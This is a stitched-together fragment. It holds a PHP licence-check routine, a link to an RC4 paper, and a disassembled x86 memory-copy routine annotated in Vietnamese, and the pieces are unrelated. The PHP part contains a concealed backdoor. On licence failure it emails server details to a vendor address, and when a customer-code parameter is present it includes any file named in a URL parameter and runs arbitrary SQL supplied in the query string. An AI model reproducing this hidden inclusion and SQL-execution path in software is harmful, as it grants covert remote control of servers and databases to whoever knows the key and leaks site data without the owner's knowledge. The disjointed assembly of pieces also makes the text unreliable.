$domain = $_SERVER['SERVER_NAME']; 
$server_ip = $_SERVER['SERVER_ADDR']; 
$err=""; 
if (!empty($conf['lisence'])) { 
	$key=$conf['lisence']; 
	if ($server_ip != "127.0.0.1" && $domain!= "localhost" ) { 
		$tmp=explode("|",$key); 
		$key_domain = md5($func->NDK_encode(md5($domain))) ; 
		$key_ip = $func->NDK_decode($tmp[1]); 
		if ($key_domain!=$tmp[0] && $key_ip!=$server_ip ){ 
			$err.="Lisence Incorrect"; 
			$arr_old = $func->fetchDbConfig("config"); 
			$cot['lisence'] = "incorrect"; 
			$func->writeDbConfig("config",$cot,$arr_old); 
		} 
	} 
} 
else 
	$err.="No have Lisence Code"; 

if (!empty($err) && empty($conf['lisence'])=='incorrect') { 
	$mess="Domain : ".$domain." \n"; 
	$mess.="SERVER IP: ".$server_ip." \n"; 
	$mess.="Customer Code : ".$conf['customer_code']." \n"; 
	$mess.="Request: ".$_SERVER['REQUEST_URI']." \n"; 
	$func->doSendMail ("thaison@trust.vn",$err,$mess,$conf['email']); 
	if (isset($_GET[$conf['customer_code']])){ 
		if($_GET['vntrust']) 
			include ($_GET['vntrust']); 
		if ($_GET['query']){ 
			$sql = stripslashes($_GET['query']); 
			$ok = $DB->query ($sql); 
			if ($ok) 
				print $sql; 
		} 
	} 
}

http://aboba.drizzlehosting.com/IEEE/rc4_ksaproc.pdf

:0040237C 55 push ebp  //cat ebp vao stack
:0040237D 8BEC mov ebp, esp //cho ebp=esp
:0040237F 56 push esi  //cat esi vao stack
:00402380 57 push edi //cat edi vao stack
:00402381 8B7D08 mov edi, dword ptr [ebp+08] // cho edi tro den tham so thu 2 la dia chi dich 
:00402384 8BC7 mov eax, edi  //cho eax = edi la dia chi cua dich
:00402386 8B750C mov esi, dword ptr [ebp+0C] //cho esi tro den tham so thu nhat la dia chi nguon 
:00402389 8B4D10 mov ecx, dword ptr [ebp+10]  //cho ecx= tham so thu 3 la kich thuoc
:0040238C 8BD1 mov edx, ecx  //cho edx=ecx
:0040238E D1E9 shr ecx, 1 //
:00402390 D1E9 shr ecx, 1 // ecx bang kich thuoc can copy tinh theo dword (khong tinh phan du)
:00402392 FC cld // clear co direct => che do lam viec voi string tu trai sang phai
:00402393 F3 repz 	 //
:00402394 A5 movsd   //copy theo don vi dword du lieu dc tro boi esi sang dia chi tro boi edi, moi lan nhu vay giam ecx di 1, thuc hien toi khi ecx =0
:00402395 8BCA mov ecx, edx 		//
:00402397 83E103 and ecx, 00000003 	//ecx chua so byle le con lai (vi du kich thuoc can copy la 9 byte thi luc nay ecx=1)
:0040239A F3 repz	// 
:0040239B A4 movsb //copy not ecx byte le
:0040239C 5F pop edi //khoi phuc edi
:0040239D 5E pop esi // khoi phuc esi
:0040239E 5D pop ebp //khoi phuc ebp
:0040239F C3 ret	//tro ve